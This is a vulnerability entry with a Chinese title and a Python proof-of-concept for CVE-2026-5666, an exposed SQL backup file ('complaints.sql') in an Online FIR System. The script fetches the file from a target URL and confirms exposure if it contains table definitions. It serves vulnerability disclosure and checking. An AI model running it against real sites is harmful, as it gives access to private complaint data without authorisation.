CVE-2026-5666 Online FIR系统敏感信息泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5666: Sensitive Information Disclosure via exposed SQL backup import requests def check_vulnerability(target_url): # The vulnerable endpoint is the exposed backup file backup_url = f"{target_url.rstrip('/')}/complaints.sql" try: response = requests.get(backup_url, timeout=10) if response.status_code == 200 and 'CREATE TABLE' in response.text: print(f"[+] Vulnerability confirmed! Database backup found at: {backup_url}") print(f"[+] Content length: {len(response.text)} bytes") return True else: print(f"[-] Target does not appear to be vulnerable. Status: {response.status_code}") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1/Online_FIR_System" # Replace with actual target check_vulnerability(target)